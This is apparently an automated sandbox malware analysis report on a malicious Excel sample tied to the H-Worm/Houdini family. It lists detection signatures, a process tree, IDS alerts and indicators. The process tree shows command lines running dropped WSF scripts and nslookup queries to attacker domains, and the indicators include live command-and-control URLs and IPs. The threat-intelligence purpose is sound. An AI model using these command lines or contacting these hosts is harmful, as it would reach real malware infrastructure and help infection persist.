Edit tour

Windows Analysis Report
6fW0GedR6j.xls

Overview

General Information

Sample name:	6fW0GedR6j.xls renamed because original name is a hash value
Original sample name:	6b999100f6b93bbbb4499c90f12714a9.xls
Analysis ID:	1571187
MD5:	6b999100f6b93bbbb4499c90f12714a9
SHA1:	3fe568c2aff719b7da6868c81d82e8353750967e
SHA256:	d4c6fb5a000c387f83daaba5c208720fe6d367def5da93aa50235c86ff41f158
Tags:	xlsuser-abuse_ch
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Document exploit detected (creates forbidden files)

Multi AV Scanner detection for submitted file

Sigma detected: Register Wscript In Run Key

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Creates an autostart registry key pointing to binary in C:\Windows

Creates files in the system32 config directory

Document contains a stream with embedded javascript code

Document contains an embedded VBA macro which may execute processes

Document contains an embedded VBA macro with suspicious strings

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Document contains an embedded VBA with many string operations indicating source code obfuscation

Document exploit detected (process start blacklist hit)

Drops HTML or HTM files to system directories

Machine Learning detection for sample

Microsoft Office drops suspicious files

Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Sigma detected: File With Uncommon Extension Created By An Office Application

Sigma detected: Script Event Consumer Spawning Process

Sigma detected: Script Initiated Connection to Non-Local Network

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Microsoft Office Child Process

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WMI Persistence - Script Event Consumer File Write

Uses nslookup.exe to query domains

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript called in batch mode (surpress errors)

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Deletes files inside the Windows folder

Document contains an embedded VBA macro which executes code when the document is opened / closed

Document contains embedded VBA macros

Document misses a certain OLE stream usually present in this Microsoft Office document type

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries disk information (often used to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Excel Network Connections

Sigma detected: Script Initiated Connection

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Office Outbound Connections

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Classification

Process Tree

System is w10x64

EXCEL.EXE (PID: 7544 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 4A871771235598812032C822E6F68F19)

wscript.exe (PID: 7928 cmdline: wscript.exe //B "C:\Users\user\AppData\Local\Temp\winstart.wsf" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 4868 cmdline: "C:\Windows\System32\cmd.exe" /c nslookup a1.airobotheworld.com>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

nslookup.exe (PID: 2776 cmdline: nslookup a1.airobotheworld.com MD5: 9D2EB13476B126CB61B12CDD03C7DCA6)

cmd.exe (PID: 6864 cmdline: "C:\Windows\System32\cmd.exe" /c nslookup a1.aigoingtokill.club>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

nslookup.exe (PID: 2900 cmdline: nslookup a1.aigoingtokill.club MD5: 9D2EB13476B126CB61B12CDD03C7DCA6)

cmd.exe (PID: 8148 cmdline: "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

nslookup.exe (PID: 2300 cmdline: nslookup a1.6cs6.club MD5: 9D2EB13476B126CB61B12CDD03C7DCA6)

cmd.exe (PID: 5556 cmdline: "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

nslookup.exe (PID: 6952 cmdline: nslookup a1.6cs6.club MD5: 9D2EB13476B126CB61B12CDD03C7DCA6)

cmd.exe (PID: 4768 cmdline: "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

nslookup.exe (PID: 4540 cmdline: nslookup a1.6cs6.club MD5: 9D2EB13476B126CB61B12CDD03C7DCA6)

splwow64.exe (PID: 3396 cmdline: C:\Windows\splwow64.exe 12288 MD5: 77DE7761B037061C7C112FD3C5B91E73)

svchost.exe (PID: 7772 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

scrcons.exe (PID: 8008 cmdline: C:\Windows\system32\wbem\scrcons.exe -Embedding MD5: FD8C66AD69CCF980E08ADA4EA35FD3FB)

wscript.exe (PID: 8120 cmdline: "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 1388 cmdline: "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 2028 cmdline: "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1184 cmdline: "C:\Windows\System32\cmd.exe" /c nslookup a1.airobotheworld.com>>C:\Windows\TEMP\~cmdscript.tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

nslookup.exe (PID: 8044 cmdline: nslookup a1.airobotheworld.com MD5: F2E3950C1023ACF80765C918791999C0)

cmd.exe (PID: 7956 cmdline: "C:\Windows\System32\cmd.exe" /c nslookup a1.aigoingtokill.club>>C:\Windows\TEMP\~cmdscript.tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

nslookup.exe (PID: 8064 cmdline: nslookup a1.aigoingtokill.club MD5: F2E3950C1023ACF80765C918791999C0)

cmd.exe (PID: 7052 cmdline: "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Windows\TEMP\~cmdscript.tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

nslookup.exe (PID: 1884 cmdline: nslookup a1.6cs6.club MD5: F2E3950C1023ACF80765C918791999C0)

cmd.exe (PID: 1392 cmdline: "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Windows\TEMP\~cmdscript.tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

nslookup.exe (PID: 4116 cmdline: nslookup a1.6cs6.club MD5: F2E3950C1023ACF80765C918791999C0)

cmd.exe (PID: 1728 cmdline: "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Windows\TEMP\~cmdscript.tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

nslookup.exe (PID: 4556 cmdline: nslookup a1.6cs6.club MD5: F2E3950C1023ACF80765C918791999C0)

svchost.exe (PID: 8048 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

wscript.exe (PID: 2552 cmdline: "C:\Windows\system32\wscript.exe" //B "winstart.wsf" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 5632 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 740 cmdline: "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\winstart.wsf" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 7596 cmdline: "C:\Windows\System32\wscript.exe" //B "C:\autoexec.wsf" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 3656 cmdline: "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\winstart.wsf" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 7588 cmdline: "C:\Windows\System32\wscript.exe" //B "%HOME%\winstart.wsf" MD5: A47CBE969EA935BDD3AB568BB126BC80)

svchost.exe (PID: 3528 cmdline: C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Sigma Signatures

System Summary

Sigma detected: File With Uncommon Extension Created By An Office Application

Source: File created

Author: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, ProcessId: 7544, TargetFilename: C:\Users\user\AppData\Local\Temp\winstart.wsf

Sigma detected: Script Event Consumer Spawning Process

Source: Process started

Author: Sittikorn S: Data: Command: "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf", CommandLine: "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: C:\Windows\system32\wbem\scrcons.exe -Embedding, ParentImage: C:\Windows\System32\wbem\scrcons.exe, ParentProcessId: 8008, ParentProcessName: scrcons.exe, ProcessCommandLine: "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf", ProcessId: 8120, ProcessName: wscript.exe

Sigma detected: Script Initiated Connection to Non-Local Network

Source: Network Connection

Author: frack113, Florian Roth: Data: DestinationIp: 23.111.175.138, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\SysWOW64\wscript.exe, Initiated: true, ProcessId: 7928, Protocol: tcp, SourceIp: 192.168.2.11, SourceIsIpv6: false, SourcePort: 49744

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: wscript.exe //B "C:\Users\user\AppData\Local\Temp\winstart.wsf", CommandLine: wscript.exe //B "C:\Users\user\AppData\Local\Temp\winstart.wsf", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, ParentProcessId: 7544, ParentProcessName: EXCEL.EXE, ProcessCommandLine: wscript.exe //B "C:\Users\user\AppData\Local\Temp\winstart.wsf", ProcessId: 7928, ProcessName: wscript.exe

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: wscript.exe //B "C:\Users\user\AppData\Local\Temp\winstart.wsf", CommandLine: wscript.exe //B "C:\Users\user\AppData\Local\Temp\winstart.wsf", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, ParentProcessId: 7544, ParentProcessName: EXCEL.EXE, ProcessCommandLine: wscript.exe //B "C:\Users\user\AppData\Local\Temp\winstart.wsf", ProcessId: 7928, ProcessName: wscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: wscript.exe //B "C:\Users\user\AppData\Local\Temp\winstart.wsf", CommandLine: wscript.exe //B "C:\Users\user\AppData\Local\Temp\winstart.wsf", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, ParentProcessId: 7544, ParentProcessName: EXCEL.EXE, ProcessCommandLine: wscript.exe //B "C:\Users\user\AppData\Local\Temp\winstart.wsf", ProcessId: 7928, ProcessName: wscript.exe

Sigma detected: WMI Persistence - Script Event Consumer File Write

Source: File created

Author: Thomas Patzke: Data: EventID: 11, Image: C:\Windows\System32\wbem\scrcons.exe, ProcessId: 8008, TargetFilename: C:\Windows\TEMP\TMP.TMP

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 13.107.246.63, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 7544, Protocol: tcp, SourceIp: 192.168.2.11, SourceIsIpv6: false, SourcePort: 49879

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 23.111.175.138, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\SysWOW64\wscript.exe, Initiated: true, ProcessId: 7928, Protocol: tcp, SourceIp: 192.168.2.11, SourceIsIpv6: false, SourcePort: 49744

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\System32\wbem\scrcons.exe, ProcessId: 8008, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.11, DestinationIsIpv6: false, DestinationPort: 49879, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 7544, Protocol: tcp, SourceIp: 13.107.246.63, SourceIsIpv6: false, SourcePort: 443

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: wscript.exe //B "C:\Users\user\AppData\Local\Temp\winstart.wsf", CommandLine: wscript.exe //B "C:\Users\user\AppData\Local\Temp\winstart.wsf", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, ParentProcessId: 7544, ParentProcessName: EXCEL.EXE, ProcessCommandLine: wscript.exe //B "C:\Users\user\AppData\Local\Temp\winstart.wsf", ProcessId: 7928, ProcessName: wscript.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7772, ProcessName: svchost.exe

Persistence and Installation Behavior

Sigma detected: Register Wscript In Run Key

Source: Registry Key set

Author: Joe Security: Data: Details: wscript.exe //B "winstart.wsf", EventID: 13, EventType: SetValue, Image: C:\Windows\System32\wbem\scrcons.exe, ProcessId: 8008, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\winstart

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T06:50:18.592780+0100	2028371	3	Unknown Traffic	192.168.2.11	49879	13.107.246.63	443	TCP
2024-12-09T06:50:28.186302+0100	2028371	3	Unknown Traffic	192.168.2.11	49900	13.107.246.63	443	TCP

ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T06:49:05.242024+0100	2017994	1	Malware Command and Control Activity Detected	192.168.2.11	50017	181.214.58.112	80	TCP
2024-12-09T06:49:05.242024+0100	2017994	1	Malware Command and Control Activity Detected	192.168.2.11	49992	181.214.58.112	80	TCP
2024-12-09T06:49:41.194811+0100	2017994	1	Malware Command and Control Activity Detected	192.168.2.11	49744	23.111.175.138	80	TCP
2024-12-09T06:49:50.259229+0100	2017994	1	Malware Command and Control Activity Detected	192.168.2.11	49756	23.111.175.138	80	TCP
2024-12-09T06:50:03.962785+0100	2017994	1	Malware Command and Control Activity Detected	192.168.2.11	49793	181.214.58.112	80	TCP
2024-12-09T06:50:12.592823+0100	2017994	1	Malware Command and Control Activity Detected	192.168.2.11	49814	181.214.58.112	80	TCP
2024-12-09T06:50:27.853714+0100	2017994	1	Malware Command and Control Activity Detected	192.168.2.11	49852	181.214.58.112	80	TCP
2024-12-09T06:50:30.535751+0100	2017994	1	Malware Command and Control Activity Detected	192.168.2.11	49744	23.111.175.138	80	TCP
2024-12-09T06:50:34.935668+0100	2017994	1	Malware Command and Control Activity Detected	192.168.2.11	49922	1.1.1.1	80	TCP
2024-12-09T06:50:35.981687+0100	2017994	1	Malware Command and Control Activity Detected	192.168.2.11	49872	181.214.58.112	80	TCP
2024-12-09T06:50:36.395993+0100	2017994	1	Malware Command and Control Activity Detected	192.168.2.11	49922	1.1.1.1	80	TCP
2024-12-09T06:50:37.865605+0100	2017994	1	Malware Command and Control Activity Detected	192.168.2.11	49922	1.1.1.1	80	TCP
2024-12-09T06:50:45.686975+0100	2017994	1	Malware Command and Control Activity Detected	192.168.2.11	49930	23.111.175.138	80	TCP
2024-12-09T06:50:49.614374+0100	2017994	1	Malware Command and Control Activity Detected	192.168.2.11	49959	1.1.1.1	80	TCP
2024-12-09T06:50:51.035714+0100	2017994	1	Malware Command and Control Activity Detected	192.168.2.11	49959	1.1.1.1	80	TCP
2024-12-09T06:50:52.440023+0100	2017994	1	Malware Command and Control Activity Detected	192.168.2.11	49959	1.1.1.1	80	TCP
2024-12-09T06:51:00.089356+0100	2017994	1	Malware Command and Control Activity Detected	192.168.2.11	49935	181.214.58.112	80	TCP
2024-12-09T06:51:14.825158+0100	2017994	1	Malware Command and Control Activity Detected	192.168.2.11	49971	181.214.58.112	80	TCP

ETPRO MALWARE Win32/Dunihi/Houdini/H-Worm Miner Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T06:49:41.194811+0100	2837599	1	A Network Trojan was detected	192.168.2.11	49744	23.111.175.138	80	TCP
2024-12-09T06:49:50.259229+0100	2837599	1	A Network Trojan was detected	192.168.2.11	49756	23.111.175.138	80	TCP
2024-12-09T06:50:30.535751+0100	2837599	1	A Network Trojan was detected	192.168.2.11	49744	23.111.175.138	80	TCP
2024-12-09T06:50:45.686975+0100	2837599	1	A Network Trojan was detected	192.168.2.11	49930	23.111.175.138	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 6fW0GedR6j.xls

Avira: detected

Antivirus detection for URL or domain

Source: http://a1.aigoingtokill.club/ctrl/playback.php	Avira URL Cloud: Label: malware
Source: http://a1.aigoingtokill.club/ctrl/playback.php8	Avira URL Cloud: Label: malware
Source: http://a1.aigoingtokill.club/ctrl/playback.phped.	Avira URL Cloud: Label: malware
Source: http://a1.6cs6.club/ctrl/url.html	Avira URL Cloud: Label: malware
Source: http://rocknroll.aigoingtokill2.club/ctrl/url.html	Avira URL Cloud: Label: malware
Source: http://a1.aigoingtokill.club/ctrl/playback.phpG	Avira URL Cloud: Label: malware
Source: http://a1.aigoingtokill.club/ctrl/playback.phphBcOrBDmIoMylxZ==e.	Avira URL Cloud: Label: malware
Source: http://a1.6cs6.club/ctrl/playback.phpOrBDmIoMylxZ==KjIYYhGfEdCbYYA012YY345YY67YY8YY9	Avira URL Cloud: Label: malware
Source: http://a2.6cs6.club/ctrl/url.htmls	Avira URL Cloud: Label: malware
Source: http://a1.aigoingtokill.club/ctrl/playback.phpeU	Avira URL Cloud: Label: malware
Source: http://a1.aigoingtokill.club/4	Avira URL Cloud: Label: malware
Source: http://a1.airobotheworld.com/ctrl/url.html	Avira URL Cloud: Label: malware
Source: http://a1.aigoingtokill.club/$	Avira URL Cloud: Label: malware
Source: http://a2.6cs6.club/ctrl/url.html	Avira URL Cloud: Label: malware
Source: http://a1.aigoingtokill.club/	Avira URL Cloud: Label: malware
Source: http://a1.aigoingtokill.club/o	Avira URL Cloud: Label: malware
Source: https://account.live.co	Avira URL Cloud: Label: malware
Source: http://a1.aigoingtokill.club/ctrl/playback.phpp	Avira URL Cloud: Label: malware
Source: http://a1.aigoingtokill.club/45	Avira URL Cloud: Label: malware
Source: http://aigoingtokill.aigoingtokill.club/ctrl/url.html	Avira URL Cloud: Label: malware
Source: http://a1.aigoingtokill.club/ctrl/playback.php/W	Avira URL Cloud: Label: malware
Source: http://a1.airobotheworld.tk/ctrl/url.html	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: 6fW0GedR6j.xls	ReversingLabs: Detection: 50%
Source: 6fW0GedR6j.xls	Virustotal: Detection: 60%			Perma Link

Machine Learning detection for sample

Source: 6fW0GedR6j.xls

Joe Sandbox ML: detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.11:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.11:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.11:49937 version: TLS 1.2

Source: C:\Windows\SysWOW64\wscript.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Software Vulnerabilities

Document exploit detected (creates forbidden files)

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\winstart.wsf

Jump to behavior

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\wscript.exe

Source: global traffic	DNS query: name: api.etherscan.io
Source: global traffic	DNS query: name: api.etherscan.io
Source: global traffic	DNS query: name: a1.airobotheworld.com
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: a1.airobotheworld.tk
Source: global traffic	DNS query: name: a2.6cs6.club
Source: global traffic	DNS query: name: aigoingtokill.aigoingtokill.club
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: a1.airobotheworld.tk
Source: global traffic	DNS query: name: a2.6cs6.club
Source: global traffic	DNS query: name: rocknroll.aigoingtokill2.club
Source: global traffic	DNS query: name: 1.1.1.1.in-addr.arpa
Source: global traffic	DNS query: name: a1.airobotheworld.com
Source: global traffic	DNS query: name: a1.airobotheworld.com
Source: global traffic	DNS query: name: 1.1.1.1.in-addr.arpa
Source: global traffic	DNS query: name: a1.aigoingtokill.club
Source: global traffic	DNS query: name: a1.aigoingtokill.club
Source: global traffic	DNS query: name: 1.1.1.1.in-addr.arpa
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: 1.1.1.1.in-addr.arpa
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: rocknroll.aigoingtokill2.club
Source: global traffic	DNS query: name: 1.1.1.1.in-addr.arpa
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: 1.1.1.1.in-addr.arpa
Source: global traffic	DNS query: name: a1.airobotheworld.com
Source: global traffic	DNS query: name: a1.airobotheworld.com
Source: global traffic	DNS query: name: 1.1.1.1.in-addr.arpa
Source: global traffic	DNS query: name: a1.aigoingtokill.club
Source: global traffic	DNS query: name: a1.aigoingtokill.club
Source: global traffic	DNS query: name: 1.1.1.1.in-addr.arpa
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: 1.1.1.1.in-addr.arpa
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: 1.1.1.1.in-addr.arpa
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: a1.6cs6.club
Source: global traffic	DNS query: name: a1.aigoingtokill.club

Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49716 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49715 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49718 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49717 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49719 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49724 -> 13.107.246.63:443
